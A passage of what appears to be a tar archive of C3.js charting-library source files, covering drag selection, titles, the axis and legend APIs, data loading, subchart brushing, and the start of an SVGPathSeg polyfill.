mouse); if (! closest) { return; } // select if selection enabled if ($$.isBarType(closest.id) || $$.dist(closest, mouse) < config.point_sensitivity) { if ($$.isScatterType(closest) || !config.data_selection_grouped) { sameXData = [closest]; } else { sameXData = $$.filterByX(targetsToShow, closest.x); } sameXData.forEach(function (d) { $$.main.selectAll('.' + CLASS.shapes + $$.getTargetSelectorSuffix(d.id)).selectAll('.' + CLASS.shape + '-' + d.index).each(function () { if (config.data_selection_grouped || $$.isWithinShape(this, d)) { $$.toggleShape(this, d, d.index); config.data_onclick.call($$.api, d, this); } }); }); } } : null) .call( config.interaction_enabled && config.data_selection_draggable && $$.drag ? ( d3.drag() .on('drag', function () { $$.drag(d3.mouse(this)); }) .on('start', function () { $$.dragstart(d3.mouse(this)); }) .on('end', function () { $$.dragend(); }) ) : function () {} ); }; ChartInternal.prototype.getMousePosition = function (data) { var $$ = this; return [$$.x(data.x), $$.getYScale(data.id)(data.value)]; }; ChartInternal.prototype.dispatchEvent = function (type, mouse) { var $$ = this, selector = '.' + CLASS.eventRect, eventRect = $$.main.select(selector).node(), box = eventRect.getBoundingClientRect(), x = box.left + (mouse ? mouse[0] : 0), y = box.top + (mouse ? mouse[1] : 0), event = document.createEvent("MouseEvents"); event.initMouseEvent(type, true, true, window, 0, x, y, x, y, false, false, false, false, 0, null); eventRect.dispatchEvent(event); }; title.js000064400000002536151677320360006243 0ustar00import { ChartInternal } from './core'; ChartInternal.prototype.initTitle = function () { var $$ = this; $$.title = $$.svg.append("text") .text($$.config.title_text) .attr("class", $$.CLASS.title); }; ChartInternal.prototype.redrawTitle = function () { var $$ = this; $$.title .attr("x", $$.xForTitle.bind($$)) .attr("y", $$.yForTitle.bind($$)); }; ChartInternal.prototype.xForTitle = function () { var $$ = this, config = $$.config, position = config.title_position || 'left', x; if (position.indexOf('right') >= 0) { x = $$.currentWidth - $$.getTextRect($$.title.node().textContent, $$.CLASS.title, $$.title.node()).width - config.title_padding.right; } else if (position.indexOf('center') >= 0) { x = ($$.currentWidth - $$.getTextRect($$.title.node().textContent, $$.CLASS.title, $$.title.node()).width) / 2; } else { // left x = config.title_padding.left; } return x; }; ChartInternal.prototype.yForTitle = function () { var $$ = this; return $$.config.title_padding.top + $$.getTextRect($$.title.node().textContent, $$.CLASS.title, $$.title.node()).height; }; ChartInternal.prototype.getTitlePadding = function () { var $$ = this; return $$.yForTitle() + $$.config.title_padding.bottom; }; api.show.js000064400000003233151677320360006645 0ustar00import { Chart } from './core'; Chart.prototype.show = function (targetIds, options) { var $$ = this.internal, targets; targetIds = $$.mapToTargetIds(targetIds); options = options || {}; $$.removeHiddenTargetIds(targetIds); targets = $$.svg.selectAll($$.selectorTargets(targetIds)); targets.transition() .style('display', 'initial', 'important') .style('opacity', 1, 'important') .call($$.endall, function () { targets.style('opacity', null).style('opacity', 1); }); if (options.withLegend) { $$.showLegend(targetIds); } $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true, withLegend: true}); }; Chart.prototype.hide = function (targetIds, options) { var $$ = this.internal, targets; targetIds = $$.mapToTargetIds(targetIds); options = options || {}; $$.addHiddenTargetIds(targetIds); targets = $$.svg.selectAll($$.selectorTargets(targetIds)); targets.transition() .style('opacity', 0, 'important') .call($$.endall, function () { targets.style('opacity', null).style('opacity', 0); targets.style('display', 'none'); }); if (options.withLegend) { $$.hideLegend(targetIds); } $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true, withLegend: true}); }; Chart.prototype.toggle = function (targetIds, options) { var that = this, $$ = this.internal; $$.mapToTargetIds(targetIds).forEach(function (targetId) { $$.isTargetToShow(targetId) ? that.hide(targetId, options) : that.show(targetId, options); }); }; drag.js000064400000006476151677320360006046 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; import { getPathBox } from './util'; ChartInternal.prototype.drag = function (mouse) { var $$ = this, config = $$.config, main = $$.main, d3 = $$.d3; var sx, sy, mx, my, minX, maxX, minY, maxY; if ($$.hasArcType()) { return; } if (!config.data_selection_enabled) { return; } // do nothing if not selectable if (!config.data_selection_multiple) { return; } // skip when single selection because drag is used for multiple selection sx = $$.dragStart[0]; sy = $$.dragStart[1]; mx = mouse[0]; my = mouse[1]; minX = Math.min(sx, mx); maxX = Math.max(sx, mx); minY = (config.data_selection_grouped) ? $$.margin.top : Math.min(sy, my); maxY = (config.data_selection_grouped) ? $$.height : Math.max(sy, my); main.select('.' + CLASS.dragarea) .attr('x', minX) .attr('y', minY) .attr('width', maxX - minX) .attr('height', maxY - minY); // TODO: binary search when multiple xs main.selectAll('.' + CLASS.shapes).selectAll('.' + CLASS.shape) .filter(function (d) { return config.data_selection_isselectable(d); }) .each(function (d, i) { var shape = d3.select(this), isSelected = shape.classed(CLASS.SELECTED), isIncluded = shape.classed(CLASS.INCLUDED), _x, _y, _w, _h, toggle, isWithin = false, box; if (shape.classed(CLASS.circle)) { _x = shape.attr("cx") * 1; _y = shape.attr("cy") * 1; toggle = $$.togglePoint; isWithin = minX < _x && _x < maxX && minY < _y && _y < maxY; } else if (shape.classed(CLASS.bar)) { box = getPathBox(this); _x = box.x; _y = box.y; _w = box.width; _h = box.height; toggle = $$.togglePath; isWithin = !(maxX < _x || _x + _w < minX) && !(maxY < _y || _y + _h < minY); } else { // line/area selection not supported yet return; } if (isWithin ^ isIncluded) { shape.classed(CLASS.INCLUDED, !isIncluded); // TODO: included/unincluded callback here shape.classed(CLASS.SELECTED, !isSelected); toggle.call($$, !isSelected, shape, d, i); } }); }; ChartInternal.prototype.dragstart = function (mouse) { var $$ = this, config = $$.config; if ($$.hasArcType()) { return; } if (! config.data_selection_enabled) { return; } // do nothing if not selectable $$.dragStart = mouse; $$.main.select('.' + CLASS.chart).append('rect') .attr('class', CLASS.dragarea) .style('opacity', 0.1); $$.dragging = true; }; ChartInternal.prototype.dragend = function () { var $$ = this, config = $$.config; if ($$.hasArcType()) { return; } if (! config.data_selection_enabled) { return; } // do nothing if not selectable $$.main.select('.' + CLASS.dragarea) .transition().duration(100) .style('opacity', 0) .remove(); $$.main.selectAll('.' + CLASS.shape) .classed(CLASS.INCLUDED, false); $$.dragging = false; }; api.axis.js000064400000004125151677320360006632 0ustar00import { Chart } from './core'; import { isValue, isDefined } from './util'; Chart.prototype.axis = function () {}; Chart.prototype.axis.labels = function (labels) { var $$ = this.internal; if (arguments.length) { Object.keys(labels).forEach(function (axisId) { $$.axis.setLabelText(axisId, labels[axisId]); }); $$.axis.updateLabels(); } // TODO: return some values? }; Chart.prototype.axis.max = function (max) { var $$ = this.internal, config = $$.config; if (arguments.length) { if (typeof max === 'object') { if (isValue(max.x)) { config.axis_x_max = max.x; } if (isValue(max.y)) { config.axis_y_max = max.y; } if (isValue(max.y2)) { config.axis_y2_max = max.y2; } } else { config.axis_y_max = config.axis_y2_max = max; } $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true}); } else { return { x: config.axis_x_max, y: config.axis_y_max, y2: config.axis_y2_max }; } }; Chart.prototype.axis.min = function (min) { var $$ = this.internal, config = $$.config; if (arguments.length) { if (typeof min === 'object') { if (isValue(min.x)) { config.axis_x_min = min.x; } if (isValue(min.y)) { config.axis_y_min = min.y; } if (isValue(min.y2)) { config.axis_y2_min = min.y2; } } else { config.axis_y_min = config.axis_y2_min = min; } $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true}); } else { return { x: config.axis_x_min, y: config.axis_y_min, y2: config.axis_y2_min }; } }; Chart.prototype.axis.range = function (range) { if (arguments.length) { if (isDefined(range.max)) { this.axis.max(range.max); } if (isDefined(range.min)) { this.axis.min(range.min); } } else { return { max: this.axis.max(), min: this.axis.min() }; } }; data.load.js000064400000006033151677320360006745 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; ChartInternal.prototype.load = function (targets, args) { var $$ = this; if (targets) { // filter loading targets if needed if (args.filter) { targets = targets.filter(args.filter); } // set type if args.types || args.type specified if (args.type || args.types) { targets.forEach(function (t) { var type = args.types && args.types[t.id] ? args.types[t.id] : args.type; $$.setTargetType(t.id, type); }); } // Update/Add data $$.data.targets.forEach(function (d) { for (var i = 0; i < targets.length; i++) { if (d.id === targets[i].id) { d.values = targets[i].values; targets.splice(i, 1); break; } } }); $$.data.targets = $$.data.targets.concat(targets); // add remained } // Set targets $$.updateTargets($$.data.targets); // Redraw with new targets $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true, withLegend: true}); if (args.done) { args.done(); } }; ChartInternal.prototype.loadFromArgs = function (args) { var $$ = this; if (args.data) { $$.load($$.convertDataToTargets(args.data), args); } else if (args.url) { $$.convertUrlToData(args.url, args.mimeType, args.headers, args.keys, function (data) { $$.load($$.convertDataToTargets(data), args); }); } else if (args.json) { $$.load($$.convertDataToTargets($$.convertJsonToData(args.json, args.keys)), args); } else if (args.rows) { $$.load($$.convertDataToTargets($$.convertRowsToData(args.rows)), args); } else if (args.columns) { $$.load($$.convertDataToTargets($$.convertColumnsToData(args.columns)), args); } else { $$.load(null, args); } }; ChartInternal.prototype.unload = function (targetIds, done) { var $$ = this; if (!done) { done = function () {}; } // filter existing target targetIds = targetIds.filter(function (id) { return $$.hasTarget($$.data.targets, id); }); // If no target, call done and return if (!targetIds || targetIds.length === 0) { done(); return; } $$.svg.selectAll(targetIds.map(function (id) { return $$.selectorTarget(id); })) .transition() .style('opacity', 0) .remove() .call($$.endall, done); targetIds.forEach(function (id) { // Reset fadein for future load $$.withoutFadeIn[id] = false; // Remove target's elements if ($$.legend) { $$.legend.selectAll('.' + CLASS.legendItem + $$.getTargetSelectorSuffix(id)).remove(); } // Remove target $$.data.targets = $$.data.targets.filter(function (t) { return t.id !== id; }); }); }; api.chart.js000064400000002751151677320360006772 0ustar00import { Chart } from './core'; Chart.prototype.resize = function (size) { var $$ = this.internal, config = $$.config; config.size_width = size ? size.width : null; config.size_height = size ? size.height : null; this.flush(); }; Chart.prototype.flush = function () { var $$ = this.internal; $$.updateAndRedraw({withLegend: true, withTransition: false, withTransitionForTransform: false}); }; Chart.prototype.destroy = function () { var $$ = this.internal; window.clearInterval($$.intervalForObserveInserted); if ($$.resizeTimeout !== undefined) { window.clearTimeout($$.resizeTimeout); } if (window.detachEvent) { window.detachEvent('onresize', $$.resizeIfElementDisplayed); } else if (window.removeEventListener) { window.removeEventListener('resize', $$.resizeIfElementDisplayed); } else { var wrapper = window.onresize; // check if no one else removed our wrapper and remove our resizeFunction from it if (wrapper && wrapper.add && wrapper.remove) { wrapper.remove($$.resizeFunction); } } // remove the inner resize functions $$.resizeFunction.remove(); $$.selectChart.classed('c3', false).html(""); // MEMO: this is needed because the reference of some elements will not be released, then memory leak will happen. Object.keys($$).forEach(function (key) { $$[key] = null; }); return null; }; class.js000064400000004737151677320360006234 0ustar00export default { target: 'c3-target', chart: 'c3-chart', chartLine: 'c3-chart-line', chartLines: 'c3-chart-lines', chartBar: 'c3-chart-bar', chartBars: 'c3-chart-bars', chartText: 'c3-chart-text', chartTexts: 'c3-chart-texts', chartArc: 'c3-chart-arc', chartArcs: 'c3-chart-arcs', chartArcsTitle: 'c3-chart-arcs-title', chartArcsBackground: 'c3-chart-arcs-background', chartArcsGaugeUnit: 'c3-chart-arcs-gauge-unit', chartArcsGaugeMax: 'c3-chart-arcs-gauge-max', chartArcsGaugeMin: 'c3-chart-arcs-gauge-min', selectedCircle: 'c3-selected-circle', selectedCircles: 'c3-selected-circles', eventRect: 'c3-event-rect', eventRects: 'c3-event-rects', eventRectsSingle: 'c3-event-rects-single', eventRectsMultiple: 'c3-event-rects-multiple', zoomRect: 'c3-zoom-rect', brush: 'c3-brush', dragZoom: 'c3-drag-zoom', focused: 'c3-focused', defocused: 'c3-defocused', region: 'c3-region', regions: 'c3-regions', title: 'c3-title', tooltipContainer: 'c3-tooltip-container', tooltip: 'c3-tooltip', tooltipName: 'c3-tooltip-name', shape: 'c3-shape', shapes: 'c3-shapes', line: 'c3-line', lines: 'c3-lines', bar: 'c3-bar', bars: 'c3-bars', circle: 'c3-circle', circles: 'c3-circles', arc: 'c3-arc', arcLabelLine: 'c3-arc-label-line', arcs: 'c3-arcs', area: 'c3-area', areas: 'c3-areas', empty: 'c3-empty', text: 'c3-text', texts: 'c3-texts', gaugeValue: 'c3-gauge-value', grid: 'c3-grid', gridLines: 'c3-grid-lines', xgrid: 'c3-xgrid', xgrids: 'c3-xgrids', xgridLine: 'c3-xgrid-line', xgridLines: 'c3-xgrid-lines', xgridFocus: 'c3-xgrid-focus', ygrid: 'c3-ygrid', ygrids: 'c3-ygrids', ygridLine: 'c3-ygrid-line', ygridLines: 'c3-ygrid-lines', axis: 'c3-axis', axisX: 'c3-axis-x', axisXLabel: 'c3-axis-x-label', axisY: 'c3-axis-y', axisYLabel: 'c3-axis-y-label', axisY2: 'c3-axis-y2', axisY2Label: 'c3-axis-y2-label', legendBackground: 'c3-legend-background', legendItem: 'c3-legend-item', legendItemEvent: 'c3-legend-item-event', legendItemTile: 'c3-legend-item-tile', legendItemHidden: 'c3-legend-item-hidden', legendItemFocused: 'c3-legend-item-focused', dragarea: 'c3-dragarea', EXPANDED: '_expanded_', SELECTED: '_selected_', INCLUDED: '_included_' }; category.js000064400000000330151677320360006725 0ustar00import { ChartInternal } from './core'; ChartInternal.prototype.categoryName = function (i) { var config = this.config; return i < config.axis_x_categories.length ? config.axis_x_categories[i] : i; }; chart.js000064400000001130151677320360006210 0ustar00import {ChartInternal} from './chart-internal'; export function Chart(config) { var $$ = this.internal = new ChartInternal(this); $$.loadConfig(config); $$.beforeInit(config); $$.init(); $$.afterInit(config); // bind "this" to nested API (function bindThis(fn, target, argThis) { Object.keys(fn).forEach(function (key) { target[key] = fn[key].bind(argThis); if (Object.keys(fn[key]).length > 0) { bindThis(fn[key], target[key], argThis); } }); })(Chart.prototype, this, this); }api.legend.js000064400000000672151677320360007127 0ustar00import { Chart } from './core'; Chart.prototype.legend = function () {}; Chart.prototype.legend.show = function (targetIds) { var $$ = this.internal; $$.showLegend($$.mapToTargetIds(targetIds)); $$.updateAndRedraw({withLegend: true}); }; Chart.prototype.legend.hide = function (targetIds) { var $$ = this.internal; $$.hideLegend($$.mapToTargetIds(targetIds)); $$.updateAndRedraw({withLegend: false}); }; class-utils.js000064400000010610151677320360007355 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; ChartInternal.prototype.generateTargetClass = function (targetId) { return targetId || targetId === 0 ? ('-' + targetId).replace(/\s/g, '-') : ''; }; ChartInternal.prototype.generateClass = function (prefix, targetId) { return " " + prefix + " " + prefix + this.generateTargetClass(targetId); }; ChartInternal.prototype.classText = function (d) { return this.generateClass(CLASS.text, d.index); }; ChartInternal.prototype.classTexts = function (d) { return this.generateClass(CLASS.texts, d.id); }; ChartInternal.prototype.classShape = function (d) { return this.generateClass(CLASS.shape, d.index); }; ChartInternal.prototype.classShapes = function (d) { return this.generateClass(CLASS.shapes, d.id); }; ChartInternal.prototype.classLine = function (d) { return this.classShape(d) + this.generateClass(CLASS.line, d.id); }; ChartInternal.prototype.classLines = function (d) { return this.classShapes(d) + this.generateClass(CLASS.lines, d.id); }; ChartInternal.prototype.classCircle = function (d) { return this.classShape(d) + this.generateClass(CLASS.circle, d.index); }; ChartInternal.prototype.classCircles = function (d) { return this.classShapes(d) + this.generateClass(CLASS.circles, d.id); }; ChartInternal.prototype.classBar = function (d) { return this.classShape(d) + this.generateClass(CLASS.bar, d.index); }; ChartInternal.prototype.classBars = function (d) { return this.classShapes(d) + this.generateClass(CLASS.bars, d.id); }; ChartInternal.prototype.classArc = function (d) { return this.classShape(d.data) + this.generateClass(CLASS.arc, d.data.id); }; ChartInternal.prototype.classArcs = function (d) { return this.classShapes(d.data) + this.generateClass(CLASS.arcs, d.data.id); }; ChartInternal.prototype.classArea = function (d) { return this.classShape(d) + this.generateClass(CLASS.area, d.id); }; ChartInternal.prototype.classAreas = function (d) { return this.classShapes(d) + this.generateClass(CLASS.areas, d.id); }; ChartInternal.prototype.classRegion = function (d, i) { return this.generateClass(CLASS.region, i) + ' ' + ('class' in d ? d['class'] : ''); }; ChartInternal.prototype.classEvent = function (d) { return this.generateClass(CLASS.eventRect, d.index); }; ChartInternal.prototype.classTarget = function (id) { var $$ = this; var additionalClassSuffix = $$.config.data_classes[id], additionalClass = ''; if (additionalClassSuffix) { additionalClass = ' ' + CLASS.target + '-' + additionalClassSuffix; } return $$.generateClass(CLASS.target, id) + additionalClass; }; ChartInternal.prototype.classFocus = function (d) { return this.classFocused(d) + this.classDefocused(d); }; ChartInternal.prototype.classFocused = function (d) { return ' ' + (this.focusedTargetIds.indexOf(d.id) >= 0 ? CLASS.focused : ''); }; ChartInternal.prototype.classDefocused = function (d) { return ' ' + (this.defocusedTargetIds.indexOf(d.id) >= 0 ? CLASS.defocused : ''); }; ChartInternal.prototype.classChartText = function (d) { return CLASS.chartText + this.classTarget(d.id); }; ChartInternal.prototype.classChartLine = function (d) { return CLASS.chartLine + this.classTarget(d.id); }; ChartInternal.prototype.classChartBar = function (d) { return CLASS.chartBar + this.classTarget(d.id); }; ChartInternal.prototype.classChartArc = function (d) { return CLASS.chartArc + this.classTarget(d.data.id); }; ChartInternal.prototype.getTargetSelectorSuffix = function (targetId) { return this.generateTargetClass(targetId) .replace(/([?!@#$%^&*()_=+,.<>'":;\[\]\/|~`{}\\])/g, '\\$1'); }; ChartInternal.prototype.selectorTarget = function (id, prefix) { return (prefix || '') + '.' + CLASS.target + this.getTargetSelectorSuffix(id); }; ChartInternal.prototype.selectorTargets = function (ids, prefix) { var $$ = this; ids = ids || []; return ids.length ? ids.map(function (id) { return $$.selectorTarget(id, prefix); }) : null; }; ChartInternal.prototype.selectorLegend = function (id) { return '.' + CLASS.legendItem + this.getTargetSelectorSuffix(id); }; ChartInternal.prototype.selectorLegends = function (ids) { var $$ = this; return ids && ids.length ? ids.map(function (id) { return $$.selectorLegend(id); }) : null; }; api.category.js000064400000001065151677320360007503 0ustar00import { Chart } from './core'; Chart.prototype.category = function (i, category) { var $$ = this.internal, config = $$.config; if (arguments.length > 1) { config.axis_x_categories[i] = category; $$.redraw(); } return config.axis_x_categories[i]; }; Chart.prototype.categories = function (categories) { var $$ = this.internal, config = $$.config; if (!arguments.length) { return config.axis_x_categories; } config.axis_x_categories = categories; $$.redraw(); return config.axis_x_categories; }; subchart.js000064400000026164151677320360006740 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; import { isFunction } from './util'; ChartInternal.prototype.initBrush = function (scale) { var $$ = this, d3 = $$.d3; // TODO: dynamically change brushY/brushX according to axis_rotated. $$.brush = ($$.config.axis_rotated ? d3.brushY() : d3.brushX()).on("brush", function () { var event = d3.event.sourceEvent; if (event && event.type === "zoom") { return; } $$.redrawForBrush(); }).on("end", function () { var event = d3.event.sourceEvent; if (event && event.type === "zoom") { return; } if ($$.brush.empty() && event && event.type !== 'end') { $$.brush.clear(); } }); $$.brush.updateExtent = function () { var range = this.scale.range(), extent; if ($$.config.axis_rotated) { extent = [[0, range[0]], [$$.width2, range[1]]]; } else { extent = [[range[0], 0], [range[1], $$.height2]]; } this.extent(extent); return this; }; $$.brush.updateScale = function (scale) { this.scale = scale; return this; }; $$.brush.update = function (scale) { this.updateScale(scale || $$.subX).updateExtent(); $$.context.select('.' + CLASS.brush).call(this); }; $$.brush.clear = function () { $$.context.select('.' + CLASS.brush).call($$.brush.move, null); }; $$.brush.selection = function () { return d3.brushSelection($$.context.select('.' + CLASS.brush).node()); }; $$.brush.selectionAsValue = function (selectionAsValue, withTransition) { var selection, brush; if (selectionAsValue) { if ($$.context) { selection = [this.scale(selectionAsValue[0]), this.scale(selectionAsValue[1])]; brush = $$.context.select('.' + CLASS.brush); if (withTransition) { brush = brush.transition(); } $$.brush.move(brush, selection); } return []; } selection = $$.brush.selection() || [0,0]; return [this.scale.invert(selection[0]), this.scale.invert(selection[1])]; }; $$.brush.empty = function () { var selection = $$.brush.selection(); return !selection || selection[0] === selection[1]; }; return $$.brush.updateScale(scale); }; ChartInternal.prototype.initSubchart = function () { var $$ = this, config = $$.config, context = $$.context = $$.svg.append("g").attr("transform", $$.getTranslate('context')), visibility = config.subchart_show ? 'visible' : 'hidden'; // set style context.style('visibility', visibility); // Define g for chart area context.append('g') .attr("clip-path", $$.clipPathForSubchart) .attr('class', CLASS.chart); // Define g for bar chart area context.select('.' + CLASS.chart).append("g") .attr("class", CLASS.chartBars); // Define g for line chart area context.select('.' + CLASS.chart).append("g") .attr("class", CLASS.chartLines); // Add extent rect for Brush context.append("g") .attr("clip-path", $$.clipPath) .attr("class", CLASS.brush); // ATTENTION: This must be called AFTER chart added // Add Axis $$.axes.subx = context.append("g") .attr("class", CLASS.axisX) .attr("transform", $$.getTranslate('subx')) .attr("clip-path", config.axis_rotated ? "" : $$.clipPathForXAxis); }; ChartInternal.prototype.initSubchartBrush = function () { var $$ = this; // Add extent rect for Brush $$.initBrush($$.subX).updateExtent(); $$.context.select('.' + CLASS.brush).call($$.brush); }; ChartInternal.prototype.updateTargetsForSubchart = function (targets) { var $$ = this, context = $$.context, config = $$.config, contextLineEnter, contextLine, contextBarEnter, contextBar, classChartBar = $$.classChartBar.bind($$), classBars = $$.classBars.bind($$), classChartLine = $$.classChartLine.bind($$), classLines = $$.classLines.bind($$), classAreas = $$.classAreas.bind($$); if (config.subchart_show) { //-- Bar --// contextBar = context.select('.' + CLASS.chartBars).selectAll('.' + CLASS.chartBar) .data(targets); contextBarEnter = contextBar.enter().append('g') .style('opacity', 0); contextBarEnter.merge(contextBar) .attr('class', classChartBar); // Bars for each data contextBarEnter.append('g') .attr("class", classBars); //-- Line --// contextLine = context.select('.' + CLASS.chartLines).selectAll('.' + CLASS.chartLine) .data(targets); contextLineEnter = contextLine.enter().append('g') .style('opacity', 0); contextLineEnter.merge(contextLine) .attr('class', classChartLine); // Lines for each data contextLineEnter.append("g") .attr("class", classLines); // Area contextLineEnter.append("g") .attr("class", classAreas); //-- Brush --// context.selectAll('.' + CLASS.brush + ' rect') .attr(config.axis_rotated ? "width" : "height", config.axis_rotated ? $$.width2 : $$.height2); } }; ChartInternal.prototype.updateBarForSubchart = function (durationForExit) { var $$ = this; var contextBar = $$.context.selectAll('.' + CLASS.bars).selectAll('.' + CLASS.bar) .data($$.barData.bind($$)); var contextBarEnter = contextBar.enter().append('path') .attr("class", $$.classBar.bind($$)) .style("stroke", 'none') .style("fill", $$.color); contextBar.exit().transition().duration(durationForExit) .style('opacity', 0) .remove(); $$.contextBar = contextBarEnter.merge(contextBar) .style("opacity", $$.initialOpacity.bind($$)); }; ChartInternal.prototype.redrawBarForSubchart = function (drawBarOnSub, withTransition, duration) { (withTransition ? this.contextBar.transition(Math.random().toString()).duration(duration) : this.contextBar) .attr('d', drawBarOnSub) .style('opacity', 1); }; ChartInternal.prototype.updateLineForSubchart = function (durationForExit) { var $$ = this; var contextLine = $$.context.selectAll('.' + CLASS.lines).selectAll('.' + CLASS.line) .data($$.lineData.bind($$)); var contextLineEnter = contextLine.enter().append('path') .attr('class', $$.classLine.bind($$)) .style('stroke', $$.color); contextLine.exit().transition().duration(durationForExit) .style('opacity', 0) .remove(); $$.contextLine = contextLineEnter.merge(contextLine) .style("opacity", $$.initialOpacity.bind($$)); }; ChartInternal.prototype.redrawLineForSubchart = function (drawLineOnSub, withTransition, duration) { (withTransition ? this.contextLine.transition(Math.random().toString()).duration(duration) : this.contextLine) .attr("d", drawLineOnSub) .style('opacity', 1); }; ChartInternal.prototype.updateAreaForSubchart = function (durationForExit) { var $$ = this, d3 = $$.d3; var contextArea = $$.context.selectAll('.' + CLASS.areas).selectAll('.' + CLASS.area) .data($$.lineData.bind($$)); var contextAreaEnter = contextArea.enter().append('path') .attr("class", $$.classArea.bind($$)) .style("fill", $$.color) .style("opacity", function () { $$.orgAreaOpacity = +d3.select(this).style('opacity'); return 0; }); contextArea.exit().transition().duration(durationForExit) .style('opacity', 0) .remove(); $$.contextArea = contextAreaEnter.merge(contextArea) .style("opacity", 0); }; ChartInternal.prototype.redrawAreaForSubchart = function (drawAreaOnSub, withTransition, duration) { (withTransition ? this.contextArea.transition(Math.random().toString()).duration(duration) : this.contextArea) .attr("d", drawAreaOnSub) .style("fill", this.color) .style("opacity", this.orgAreaOpacity); }; ChartInternal.prototype.redrawSubchart = function (withSubchart, transitions, duration, durationForExit, areaIndices, barIndices, lineIndices) { var $$ = this, d3 = $$.d3, config = $$.config, drawAreaOnSub, drawBarOnSub, drawLineOnSub; $$.context.style('visibility', config.subchart_show ? 'visible' : 'hidden'); // subchart if (config.subchart_show) { // reflect main chart to extent on subchart if zoomed if (d3.event && d3.event.type === 'zoom') { $$.brush.selectionAsValue($$.x.orgDomain()); } // update subchart elements if needed if (withSubchart) { // extent rect if (!$$.brush.empty()) { $$.brush.selectionAsValue($$.x.orgDomain()); } // setup drawer - MEMO: this must be called after axis updated drawAreaOnSub = $$.generateDrawArea(areaIndices, true); drawBarOnSub = $$.generateDrawBar(barIndices, true); drawLineOnSub = $$.generateDrawLine(lineIndices, true); $$.updateBarForSubchart(duration); $$.updateLineForSubchart(duration); $$.updateAreaForSubchart(duration); $$.redrawBarForSubchart(drawBarOnSub, duration, duration); $$.redrawLineForSubchart(drawLineOnSub, duration, duration); $$.redrawAreaForSubchart(drawAreaOnSub, duration, duration); } } }; ChartInternal.prototype.redrawForBrush = function () { var $$ = this, x = $$.x, d3 = $$.d3, s; $$.redraw({ withTransition: false, withY: $$.config.zoom_rescale, withSubchart: false, withUpdateXDomain: true, withEventRect: false, withDimension: false }); // update zoom transation binded to event rect s = d3.event.selection || $$.brush.scale.range(); $$.main.select('.' + CLASS.eventRect).call($$.zoom.transform, d3.zoomIdentity .scale($$.width / (s[1] - s[0])) .translate(-s[0], 0)); $$.config.subchart_onbrush.call($$.api, x.orgDomain()); }; ChartInternal.prototype.transformContext = function (withTransition, transitions) { var $$ = this, subXAxis; if (transitions && transitions.axisSubX) { subXAxis = transitions.axisSubX; } else { subXAxis = $$.context.select('.' + CLASS.axisX); if (withTransition) { subXAxis = subXAxis.transition(); } } $$.context.attr("transform", $$.getTranslate('context')); subXAxis.attr("transform", $$.getTranslate('subx')); }; ChartInternal.prototype.getDefaultSelection = function () { var $$ = this, config = $$.config, selection = isFunction(config.axis_x_selection) ? config.axis_x_selection($$.getXDomain($$.data.targets)) : config.axis_x_selection; if ($$.isTimeSeries()) { selection = [$$.parseDate(selection[0]), $$.parseDate(selection[1])]; } return selection; }; polyfill.js000064400000214266151677320360006761 0ustar00/* jshint ignore:start */ // SVGPathSeg API polyfill // https://github.com/progers/pathseg // // This is a drop-in replacement for the SVGPathSeg and SVGPathSegList APIs that were removed from // SVG2 (https://lists.w3.org/Archives/Public/www-svg/2015Jun/0044.html), including the latest spec // changes which were implemented in Firefox 43 and Chrome 46. (function () { "use strict"; if (!("SVGPathSeg" in window)) { // Spec: http://www.w3.org/TR/SVG11/single-page.html#paths-InterfaceSVGPathSeg window.SVGPathSeg = function (type, typeAsLetter, owningPathSegList) { this.pathSegType = type; this.pathSegTypeAsLetter = typeAsLetter; this._owningPathSegList = owningPathSegList; } window.SVGPathSeg.prototype.classname = "SVGPathSeg"; window.SVGPathSeg.PATHSEG_UNKNOWN = 0; window.SVGPathSeg.PATHSEG_CLOSEPATH = 1; window.SVGPathSeg.PATHSEG_MOVETO_ABS = 2; window.SVGPathSeg.PATHSEG_MOVETO_REL = 3; window.SVGPathSeg.PATHSEG_LINETO_ABS = 4; window.SVGPathSeg.PATHSEG_LINETO_REL = 5; window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_ABS = 6; window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_REL = 7; window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_ABS = 8; window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_REL = 9; window.SVGPathSeg.PATHSEG_ARC_ABS = 10; window.SVGPathSeg.PATHSEG_ARC_REL = 11; window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_ABS = 12; window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_REL = 13; window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_ABS = 14; window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_REL = 15; window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_ABS = 16; window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_REL = 17; window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_ABS = 18; window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_REL = 19; // Notify owning PathSegList on any changes so they can be synchronized back to the path element. window.SVGPathSeg.prototype._segmentChanged = function () { if (this._owningPathSegList) this._owningPathSegList.segmentChanged(this); } window.SVGPathSegClosePath = function (owningPathSegList) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CLOSEPATH, "z", owningPathSegList); } window.SVGPathSegClosePath.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegClosePath.prototype.toString = function () { return "[object SVGPathSegClosePath]"; } window.SVGPathSegClosePath.prototype._asPathString = function () { return this.pathSegTypeAsLetter; } window.SVGPathSegClosePath.prototype.clone = function () { return new window.SVGPathSegClosePath(undefined); } window.SVGPathSegMovetoAbs = function (owningPathSegList, x, y) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_MOVETO_ABS, "M", owningPathSegList); this._x = x; this._y = y; } window.SVGPathSegMovetoAbs.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegMovetoAbs.prototype.toString = function () { return "[object SVGPathSegMovetoAbs]"; } window.SVGPathSegMovetoAbs.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x + " " + 